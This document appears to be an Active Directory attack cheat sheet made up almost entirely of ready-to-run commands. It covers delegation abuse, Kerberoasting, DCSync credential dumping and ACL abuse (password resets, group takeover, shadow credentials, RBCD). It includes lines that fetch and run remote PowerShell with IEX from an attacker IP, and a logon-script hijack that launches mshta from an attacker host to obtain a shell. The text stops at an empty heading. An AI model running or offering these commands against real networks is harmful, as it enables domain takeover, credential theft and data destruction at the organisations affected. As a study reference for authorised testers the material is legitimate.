Delegations

Unconstrained Delegation

It can only be executed once, as afterwards the Kerberos authentication channel between the DC and the attacking machine remains open.

To run it again, the unconstrained machine (not DC) must be restarted to break the open authentication channel: shutdown /r /t 0

Method 1

  1. Obtain a shell as NT AUTHORITY\SYSTEM on the Unconstrained delegation machine
  2. Start Rubeus in monitor mode: Rubeus.exe monitor /nowrap /interval:1 /filteruser:DC
  3. Trigger the connection:
    • Execute SpoolSample as a domain user: SpoolSample.exe dc03.infinity.com web05.infinity.com
    • Execute SpoolSample from PowerShell as a domain user: (new-object system.net.webclient).downloadstring('http://192.168.45.158/Invoke-Spoolsample.ps1') | IEX; Invoke-Spoolsample -Command "dc03.infinity.com web05.infinity.com"
    • Execute on Kali as a domain user: python3 printerbugpy '<USERNAME>:<PASSWORD>@dc03.infinity.com' web05.infinity.com
  4. Use the ticket:
    • With Rubeus and Mimikatz:
      1. Import the ticket: Rubeus.exe ptt /ticket:doIFIjCCBR6gAwIBBaEDAgEWo...
      2. Perform a DCSync: .\mimikatz.exe "lsadump::dcsync /domain:infinity.com /all" "exit"
    • With Kali:
      1. Decode the ticket: echo "doIFDDCCBQigAwIBB...ndBsMSU5GSU5JVFkuQ09N" | base64 -d > DC03@INFINITY.COM.kirbi
      2. Convert the ticket: impacket-ticketConverter DC03@INFINITY.COM.kirbi DC03@INFINITY.COM.ccache
      3. Load it: export KRB5CCNAME=DC03@INFINITY.COM.ccache
      4. Configure Kerberos: See below
      5. Request a service ticket: kvno ldap/dc03.infinity.com
      6. Perform a DCSync: impacket-secretsdump -k -no-pass dc03.infinity.com
└─$ cat /etc/krb5.conf
[libdefaults]
        default_realm = INFINITY.COM
        dns_lookup_realm = false
        dns_lookup_kdc = false

[realms]
        INFINITY.COM = {
                kdc = dc03.infinity.com
        }

[domain_realm]
        .infinity.com = INFINITY.COM
        infinity.com = INFINITY.COM
Method 2 (With an existing privileged ticket)
  1. Execute Rubeus to export the tickets: .\Rubeus.exe dump /nowrap /cred > tickets.txt
  2. Extract the tickets to .kirbi files: $tiketsFileName="tickets.txt"; $i=0;$service="";$lines=Get-Content $tiketsFileName;for ($n=0;$n -lt $lines.Count;$n++) { if ($lines[$n] -match "^\s*ServiceName\s+:\s+(.*)") { $service = $matches[1] -replace '[^\w\-\.]', '_' } elseif ($lines[$n] -match "^\s*Base64EncodedTicket\s+:") { $i++; $b64 = $lines[$n+2].Trim(); $encodingArg = if ([int](Get-Host).Version.Major -gt 5) {@{AsByteStream = $true}} else {@{Encoding = "Byte"}}; $binary = [Convert]::FromBase64String($b64); Set-Content -Path "ticket_${i}_$($service).kirbi" -Value $binary @encodingArg }}
  3. Inject the desired ticket: .\Rubeus.exe ptt /ticket:"C:\Tools\CLIENT__cifs_cdc01.prod.corp1.com.kirbi"

Constrained Delegation

Windows

  1. Request a TGT ticket (if one is not already available): Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
    • Using a User and Password (or Hash):
      1. Get the password NTLM hash: Rubeus.exe hash /password:h4x
      2. Inject a new TGT ticket: Rubeus.exe s4u /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
    • Using ticket:
      1. Inject a new TGT ticket: Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
  2. Check using: klist
  • The target service can be supplanted by adding /altservice:CIFS: Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /altservice:CIFS /ptt.

Linux

  1. Request a Service Ticket: impacket-getST -spn 'cifs/FILE02' -impersonate 'Administrator' 'cowmotors.com/svc_file:August25' 2>/dev/null
  2. Load the new ticket: export KRB5CCNAME=Administrator@cifs_FILE02@COWMOTORS.COM.ccache
  3. Use the ticket: impacket-psexec 'Administrator@FILE02' -k -no-pass

Resource-Based Constrained Delegation (RBCD)

Any attack against RBCD needs to happen from a computer account or a service account with a SPN.

  1. Create a new machine (Powermad): New-MachineAccount -MachineAccount attackerComputer -Password $(ConvertTo-SecureString 'SecurePassword123!' -AsPlainText -Force)
  2. Check the machine creation: Get-DomainComputer -Identity attackerComputer
  3. Set the SID variable: $sid =Get-DomainComputer -Identity attackerComputer -Properties objectsid | Select -Expand objectsid
  4. Set the Security Descriptor variable: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
  5. Convert the Security Descriptor to Bytes:
    1. $SDbytes = New-Object byte[] ($SD.BinaryLength)
    2. $SD.GetBinaryForm($SDbytes,0)
  6. Set the msds-allowedtoactonbehalfofotheridentity property to the target machine: Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
  7. Check the property assignation:
    1. $RBCDbytes = Get-DomainComputer appsrv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    2. $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0
    3. $Descriptor.DiscretionaryAcl
    4. ConvertFrom-SID S-1-5-21-3776646582-2086779273-4091361643-2101
    • Using a User and Password (or Hash):
      1. Get the password NTLM hash: Rubeus.exe hash /password:SecurePassword123!
      2. Inject a new TGT ticket: Rubeus.exe s4u /user:attackerComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221 /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
    • Using a ticket:
      1. Inject a new TGT ticket: Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt

Kerberos

Kerberoasting

Windows

  • .\Rubeus.exe kerberoast /outfile:hashes.kerberoast

Linux

  • Anonymous: impacket-GetUserSPNs -dc-ip <DC_IP> -request [-usersfile <usernames.txt>] -outputfile hashes.kerberoast <DOMAIN>/
  • Authenticated: impacket-GetUserSPNs -dc-ip <DC_IP> -request -outputfile hashes.kerberoast <DOMAIN>/<USERNAME>

Cracking

  • hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

AS-REP Roasting

Windows

  • .\Rubeus.exe asreproast /nowrap /outfile:hashes.asreproast

Linux

  • Anonymous: impacket-GetNPUsers -dc-ip <DC_IP> -request [-usersfile <usernames.txt>] -outputfile hashes.asreproast <DOMAIN>/
  • Authenticated: impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/<USERNAME>

Cracking

  • hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

ACLs

GenericAll

User over a Group

Windows

  • net group "Domain Admins" "<TARGET USER>" /ADD /DOMAIN

Linux

  • net rpc group addmem 'Domain Admins' '<TARGET USER>' -U '<DOMAIN>'/'<USERNAME>'%'<PASSWORD>' -S '[<DC IP>|<DOMAIN>]'
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember 'Domain Admins' '<TARGET USER>'
  • net rpc group addmem 'Domain Admins' '<TARGET USER>' -U '<DOMAIN>/<USERNAME>' -S <DC IP>

User over a User

Windows

  • Powerview:
    1. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    2. $Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<TARGET USER>', $SecPassword)
  • Powershell:
    1. $NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    2. Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $NewPassword

Linux

  • net rpc password '<TARGET USER>' '<NEW PASSWORD>' -U '<DOMAIN>'/'<USERNAME>'%'<PASSWORD>' -S '[<DC IP>|<DOMAIN>]
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set password '<TARGET USER>' 'Password123!'

User over a Computer

Windows

  • Powerview:
    1. Get-DomainComputer -Identity '<TARGET COMPUTER>'
    2. Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights All -PrincipalIdentity '<USERNAME>'
  • PSRemote:
    1. Invoke-Command -ComputerName '<TARGET COMPUTER>' -ScriptBlock { whoami } -Credential $Cred

Linux

  • winrm -hostname <TARGET COMPUTER> -username <USERNAME> -password <PASSWORD> --command 'whoami'
  • impacket-psexec <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET COMPUTER> cmd.exe

GenericWrite

User over a Group

Windows

  • Powerview:
    1. $GroupSID = (Get-DomainGroup -Identity 'Domain Admins').objectsid
    2. Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>' -Verbose
    3. Add-DomainGroupMember -Identity 'Domain Admins' -Members '<TARGET USER>'

Linux

  • rpcclient -U '<DOMAIN>/<USERNAME>%<PASSWORD>' <DC IP> -c 'add_aliasmem domain-admins <TARGET USER>'
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember 'Domain Admins' '<TARGET USER>'
  • net rpc group addmem 'Domain Admins' '<TARGET USER>' -U '<DOMAIN>/<USERNAME>' -S <DC IP>

User over a User

Windows

  • Powerview:
    1. Set-DomainUser -Identity '<TARGET USER>' -Description 'Owned by <USERNAME>'
    2. Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>'
  • Powershell:
    1. Set-ADUser -Identity '<TARGET USER>' -Description 'Owned by attacker'

Linux

  • bloodhound-python -c GenericWrite --target '<TARGET USER DN>' --user '<USERNAME>'
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set description '<TARGET USER>' 'Owned by attacker'
Getting a shell
  1. Create a bat file: echo -e '@echo off\nmshta http://192.168.45.216/file.hta' > rev.bat
  2. Start a SMB server: impacket-smbserver -smb2support share $(pwd)
  3. Update the user script path: bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET_USERNAME>' scriptPath -v '\\192.168.45.216\share\rev.bat'

User over a Computer

Windows

  • Powerview:
    1. Set-DomainObject -Identity '<TARGET COMPUTER>' -Description 'Owned'
    2. Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>'

Linux

  • impacket-secretsdump <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET COMPUTER>
  • netexec smb <TARGET COMPUTER> -u <USERNAME> -p <PASSWORD> --sam
  • Change password (-no-add): impacket-addcomputer -computer-name '<TARGET COMPUTER>' -computer-pass 'Password123!' -no-add '<DOMAIN>/<USERNAME>:<PASSWORD>'

WriteDACL

User over a Group

Windows

  • Powerview:
    1. $SD = Get-DomainObjectAcl -TargetIdentity 'Domain Admins' -ResolveGUIDs
    2. Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -Rights All -PrincipalIdentity '<TARGET USER>'

Linux

  • impacket-addcomputer -computer-name 'HackerMachine' -computer-pass 'Password123!' -dc-ip <DC IP> -domain <DOMAIN> -username <USERNAME> -password <PASSWORD>
  • bloodhound-python -c WriteDACL --target 'CN=Domain Admins,CN=Users,DC=domain,DC=local' --sid S-1-5-21-XXXXX --user '<TARGET USER>'

User over a User

Windows

  • Powerview:
    1. Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights All -PrincipalIdentity '<USERNAME>'
    2. Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
  • Manual:
    1. dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /takeownership
    2. dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /G <USERNAME>:GA

Linux

  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<TARGET USER DN>' '<USERNAME>'
  • bloodhound-python -c WriteDACL --target '<TARGET USER DN>' --sid '<SID>' --user '<USERNAME>'

User over a Computer

Windows

  • Powerview:
    1. Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights All -PrincipalIdentity '<USERNAME>'
    2. Invoke-Command -ComputerName '<TARGET COMPUTER>' -ScriptBlock {whoami} -Credential $Cred

Linux

  • bloodhound-python -c WriteDACL --target '<COMPUTER DN>' --sid '<SID>' --user '<USERNAME>'
  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<COMPUTER DN>' '<USERNAME>'

WriteOwner

User over a Group

Windows

  • Powerview:
    1. $Sid = (Get-DomainUser -Identity '<TARGET USER>').ObjectSid
    2. Set-DomainObjectOwner -TargetIdentity 'Domain Admins' -OwnerIdentity '<TARGET USER>'
  • Powershell:
    1. dsacls "CN=Domain Admins,CN=Users,DC=domain,DC=local" /takeownership
    2. dsacls "CN=Domain Admins,CN=Users,DC=domain,DC=local" /G <TARGET USER>:GA

Linux

  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner 'CN=Domain Admins,CN=Users,DC=domain,DC=local' '<TARGET USER>'

User over a User

Windows

  • Powerview:
    1. Set-DomainObjectOwner -TargetIdentity '<TARGET USER>' -OwnerIdentity '<USERNAME>'
  • Manual:
    1. dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /takeownership
    2. dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /G <USERNAME>:GA

Linux

  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<TARGET USER DN>' '<USERNAME>'

User over a Computer

Windows

  • Powerview:
    1. Set-DomainObjectOwner -TargetIdentity '<TARGET COMPUTER>' -OwnerIdentity '<USERNAME>'
  • Manual:
    1. dsacls "CN=<TARGET COMPUTER>,CN=Computers,DC=domain,DC=local" /takeownership
    2. dsacls "CN=<TARGET COMPUTER>,CN=Computers,DC=domain,DC=local" /G <USERNAME>:GA

Linux

  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<COMPUTER DN>' '<USERNAME>'

ForceChangePassword

User over a User

Windows

  • Powerview:
    1. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    2. Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $SecPassword
  • Powershell:
    1. net user <TARGET USER> Password123! /domain

Linux

  • net rpc password <TARGET USER> 'Password123!' -U '<DOMAIN>/<USERNAME>'%'<PASSWORD>' -S <DC IP>
  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set password '<TARGET USER>' 'Password123!'

AllExtendedRights

User over a User

Windows

  • Powerview:
    1. $NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    2. Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $NewPassword
  • Powershell:
    1. net user <TARGET USER> Password123! /domain

Linux

  • net rpc password <TARGET USER> 'Password123!' -U '<DOMAIN>/<USERNAME>'%'<PASSWORD>' -S <DC IP>
  • bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set password '<TARGET USER>' 'Password123!'

ReadLAPSPassword

User over a Computer

Windows

  • Powerview:
    • Get-AdmPwdPassword -ComputerName <COMPUTER>
    • Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Select-Object Name, 'ms-Mcs-AdmPwd'
  • Powershell:
    • Get-LapsAADPassword -DeviceIds <COMPUTER> -IncludePasswords -AsPlainText

Linux

  • netexec smb <TARGET IP> -u <USERNAME> -p <PASSWORD> --laps
  • bloodhound-python -c laps --dc <DC IP> -u <USERNAME> -p <PASSWORD> -d <DOMAIN>

ReadGMSAPassword

Computer over a User/Computer

Windows

  • DSInternals:
    1. $gmsa = Get-ADServiceAccount -Identity '<TARGET_USER/COMPUTER>' -Properties 'msDS-ManagedPassword'
    2. $mp = $gmsa.'msDS-ManagedPassword'
    3. ConvertFrom-ADManagedPasswordBlob $mp
    4. (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
    5. $cred = new-object system.management.automation.PSCredential "<DOMAIN>\<TARGET_USER/COMPUTER>",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
  • Manual:

Linux

  • gMSADumpergMSADumper.py -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>'
  • bloodyAD --host '<COMPUTER>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' get object 'CN=gmsa_account,CN=Managed Service Accounts,DC=example,DC=local' --attr msDS-ManagedPassword

WriteAccountRestrictions

User over a Computer

Windows

  • Powerview:
    • Enable Unconstrained Delegation:
      1. Set-DomainObject -Identity '<TARGET>' -XOR @{'userAccountControl'=0x80000}
      2. Perform a Unconstrained delegation attack
    • Enable Constrained Delegation:
      1. Set-DomainObject -Identity '<TARGET>' -Set @{'msDS-AllowedToDelegateTo'='<TARGET_SPN (ej: HTTP/webserver.lab.local)>'}
      2. Perform a Constrained delegation attack

Linux

  • Enable Unconstrained Delegation:
    1. bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set user '<TARGET>' --UserAccountControl TRUSTED_FOR_DELEGATION
    2. Perform a Unconstrained delegation attack
  • Enable Constrained Delegation:
    1. bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set user '<TARGET>' --msDS-AllowedToDelegateTo '<TARGET_SPN (ej: HTTP/webserver.lab.local)>'
    2. Perform a Constrained delegation attack

WriteSPN

User over a User (Kerberoasting via SPN injection)

Linux

  1. Inject the SPN: bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET_USERNAME>' servicePrincipalName -v 'http/<FAKE_SPN>.<DOMAIN>'
  2. Extract the hash using Impacket: impacket-GetUserSPNs -dc-ip <DC_IP> -request -outputfile hashes.kerberoast <DOMAIN>/<USERNAME>:<PASSWORD>
  3. Crack the hash: hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt

Windows

  1. Add a fake SPN to the target user: setspn -S http/<FAKE_SPN>.<DOMAIN> <DOMAIN>\<TARGET_USERNAME>
  2. Verify the SPN: setspn -L <DOMAIN>\<TARGET_USERNAME>
  3. Extract the TGS: Rubeus.exe kerberoast /user:<TARGET_USERNAME> /nowrap /format:hashcat /outfile:hashes.kerberoast
  4. Crack the hash: hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt

Computer over a User (Kerberoasting from SYSTEM)

Linux

  1. Inject the SPN: bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<MACHINE_ACCOUNT>$' -p '<PASSWORD>' set object '<TARGET_USERNAME>' servicePrincipalName -v 'http/<FAKE_SPN>.<DOMAIN>'
  2. Extract the hash using Impacket: impacket-GetUserSPNs -dc-ip <DC_IP> -request -outputfile hashes.kerberoast <DOMAIN>/<USERNAME>:<PASSWORD>
  3. Crack the hash: hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt

Windows

  1. Add a fake SPN to the target user: setspn -S http/<FAKE_SPN>.<DOMAIN> <DOMAIN>\<TARGET_USERNAME>
  2. Verify the SPN: setspn -L <DOMAIN>\<TARGET_USERNAME>
  3. Extract the TGS: Rubeus.exe kerberoast /user:<TARGET_USERNAME> /nowrap /format:hashcat /outfile:hashes.kerberoast
  4. Crack the hash: hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt

User over a Computer (RBCD via SPN hijack)

Linux

  1. Create a fake machine account: impacket-addcomputer -computer-name <FAKE_COMPUTER> -computer-pass '<PASSWORD>' -domain <DOMAIN> -dc-ip <DC_IP> -username <USERNAME> -password <PASSWORD>
  2. Assign the victim machine’s SPN to the fake machine account: bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<FAKE_COMPUTER>$' servicePrincipalName -v 'cifs/<TARGET_COMPUTER>'
  3. Set RBCD on the target computer (with crafted descriptor): bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET_COMPUTER>' msds-allowedToActOnBehalfOfOtherIdentity -v '<B64_SECURITY_DESCRIPTOR>'
  4. Import the ticket: export KRB5CCNAME=<TICKET_FILE>.ccache
  5. Impersonate user using Impacket: impacket-psexec -k -no-pass -dc-ip <DC_IP> <DOMAIN>/<PRIV_USER>@<TARGET_COMPUTER>

Windows

  1. Create a fake machine account: New-MachineAccount -MachineAccount <FAKE_COMPUTER> -Password $(ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force)
  2. Assign the victim machine’s SPN to the fake machine account: setspn -S cifs/<TARGET_COMPUTER> <FAKE_COMPUTER>$
  3. Get the SID of the fake machine: $sid = Get-DomainComputer -Identity <FAKE_COMPUTER> -Properties objectsid | Select -Expand objectsid
  4. Build and apply the security descriptor: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"; $SDbytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDbytes, 0); Set-DomainObject -Identity <TARGET_COMPUTER> -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDbytes}
  5. Impersonate with Rubeus: Rubeus.exe s4u /user:<FAKE_COMPUTER>$ /rc4:<NTLM_HASH> /impersonateuser:<PRIV_USER> /msdsspn:cifs/<TARGET_COMPUTER> /ptt

Computer over a Computer (RBCD via SPN hijack)

Linux

  1. Set the SPN: bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<CONTROLLED_COMPUTER>$' -p '<PASSWORD>' set object '<CONTROLLED_COMPUTER>$' servicePrincipalName -v 'cifs/<TARGET_COMPUTER>'
  2. Retrieve the SID of the controlled computer: ldapsearch -x -H ldap://<DC_IP> -D "<DOMAIN>\<USERNAME>" -w '<PASSWORD>' -b "CN=<CONTROLLED_COMPUTER>,CN=Computers,DC=<DC_PART>,DC=<TLD>" objectSID
  3. Build a base64-encoded security descriptor allowing delegation to the controlled computer’s SID (PowerShell): $base64Sid = '<LDAPSEARCH_SID>'; $sidBytes = [Convert]::FromBase64String($base64Sid); $sid = New-Object System.Security.Principal.SecurityIdentifier($sidBytes, 0); $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); $SDBase64 = [Convert]::ToBase64String($SDBytes); $SDBase64
  4. Set RBCD on the target computer (with crafted descriptor): bloodyAD --host <DC_IP> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET_COMPUTER>' msds-allowedToActOnBehalfOfOtherIdentity -v '<B64_SECURITY_DESCRIPTOR>'
  5. Request a TGT for the controlled machine account: impacket-getTGT <DOMAIN>/<CONTROLLED_COMPUTER>$:<PASSWORD> -dc-ip <DC_IP>
  6. Import the ticket: export KRB5CCNAME=<TICKET_FILE>.ccache
  7. Impersonate user using Impacket: impacket-psexec -k -no-pass -dc-ip <DC_IP> <DOMAIN>/<PRIV_USER>@<TARGET_COMPUTER>

Windows

  1. Assign the target computer's SPN to the current computer account: setspn -S cifs/<TARGET_COMPUTER> <CONTROLLED_COMPUTER>$
  2. Retrieve the SID of the controlled computer: $sid = Get-DomainComputer -Identity <CONTROLLED_COMPUTER> -Properties objectsid | Select -ExpandProperty objectsid
  3. Build and apply the security descriptor: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"; $SDbytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDbytes, 0); Set-DomainObject -Identity <TARGET_COMPUTER> -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDbytes}
  4. Impersonate with Rubeus: Rubeus.exe s4u /user:<FAKE_COMPUTER>$ /rc4:<NTLM_HASH> /impersonateuser:<PRIV_USER> /msdsspn:cifs/<TARGET_COMPUTER> /ptt

Install PyWhisker: pip3 install pywhisker --break-system-packages Install PKINITtools: git clone https://github.com/dirkjanm/PKINITtools pip3 install impacket minikerberos

  1. Generate a new certificate: pywhisker -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -t '<TARGET_USERNAME>' --dc-ip <DC_IP> -a add --filename new_cert --export PEM
  2. Request a TGT ticket: gettgtpkinit -dc-ip <DC_IP> -cert-pem new_cert_cert.pem -key-pem new_cert_priv.pem '<DOMAIN>/<TARGET_USERNAME>' new_ticket.ccache
  3. Save the AS-REP Encryption Key returned by gettgtpkinit: INFO:minikerberos:AS-REP encryption key (you might need this later):...
  4. Import the ticket: export KRB5CCNAME=new_ticket.ccache
  5. Recover the NT hash: getnthash -dc-ip <DC_IP> -key <gettgtpkinit AS-REP Encryption Key> '<DOMAIN>/<USERNAME>'

AddMember

User over a Group

Windows

  • Powerview:
    • Add-DomainGroupMember -Identity '<TARGET GROUP>' -Members '<TARGET USER>'
  • Powershell:
    • Add-ADGroupMember -Identity '<TARGET GROUP>' -Members '<TARGET USER>'

Linux

  • net rpc group addmem '<TARGET GROUP>' '<TARGET USER>' -U '<DOMAIN>/<USERNAME>%<PASSWORD>' -S <DC IP>
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember '<TARGET GROUP>' '<TARGET USER>'

Computer over a Group

Windows

  • Powerview:
    • Add-DomainGroupMember -Identity '<TARGET GROUP>' -Members '<TARGET COMPUTER>$'

Linux

  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember '<TARGET GROUP>' '<TARGET COMPUTER>$'
  • net rpc group addmem '<TARGET GROUP>' '<TARGET COMPUTER>$' -U '<DOMAIN>/<USERNAME>%<PASSWORD>' -S <DC IP>

ResetPassword

Same practical abuse as ForceChangePassword: extended right allowing a password reset on the target user without knowing the current password.

User over a User

Windows

  • Powerview:
    1. $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
    2. Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $SecPassword
  • Powershell:
    1. net user <TARGET USER> Password123! /domain

Linux

  • net rpc password '<TARGET USER>' 'Password123!' -U '<DOMAIN>/<USERNAME>%<PASSWORD>' -S <DC IP>
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set password '<TARGET USER>' 'Password123!'

CreateChild

Right to create child objects under an OU/container (users, computers, groups, …). Commonly abused to create a computer account for RBCD or Shadow Credentials.

User over an OU / Container

Windows

  • Powerview (create computer):
    1. New-MachineAccount -MachineAccount '<FAKE_COMPUTER>' -Password $(ConvertTo-SecureString 'SecurePassword123!' -AsPlainText -Force)
  • Powershell:
    1. New-ADComputer -Name '<FAKE_COMPUTER>' -SamAccountName '<FAKE_COMPUTER>$' -Path 'OU=<OU>,DC=<DOMAIN>,DC=<TLD>' -AccountPassword (ConvertTo-SecureString 'SecurePassword123!' -AsPlainText -Force) -Enabled $true

Linux

  • Create a computer account: impacket-addcomputer -computer-name '<FAKE_COMPUTER>' -computer-pass 'SecurePassword123!' '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <DC_IP>
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add computer '<FAKE_COMPUTER>' 'SecurePassword123!'
  • Then abuse via RBCD or AddKeyCredentialLink

DeleteChild

Right to delete child objects under an OU/container. Used for denial of service, removing competing ACEs/objects, or clearing machines before recreating them under your control.

User over an OU / Container

Windows

  • Powershell:
    1. Remove-ADComputer -Identity '<TARGET COMPUTER>' -Confirm:$false
    2. Remove-ADUser -Identity '<TARGET USER>' -Confirm:$false
    3. Remove-ADGroup -Identity '<TARGET GROUP>' -Confirm:$false

Linux

  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' remove object '<TARGET>'
  • After deleting a computer object you control the name for, recreate it and continue with CreateChild / RBCD abuse

WriteProperty

Generic write on one or more attributes. Impact depends on which property is writable. Highest-value targets below.

User over a User

Linux

  • Shadow Credentials (msDS-KeyCredentialLink): follow AddKeyCredentialLink
  • SPN injection (servicePrincipalName): follow WriteSPN
  • UPN / dNSHostName tampering (ESC9/ESC10): see ESC9 / ESC10
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET>' <ATTRIBUTE> -v '<VALUE>'

Windows

  • Powerview: Set-DomainObject -Identity '<TARGET>' -Set @{'<ATTRIBUTE>'='<VALUE>'}
  • Shadow Credentials: Whisker / PyWhisker (see AddKeyCredentialLink)

User over a Computer

Linux

  • RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity): follow RBCD
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<TARGET COMPUTER>$' msDS-AllowedToActOnBehalfOfOtherIdentity -v '<B64_SECURITY_DESCRIPTOR>'

Owns

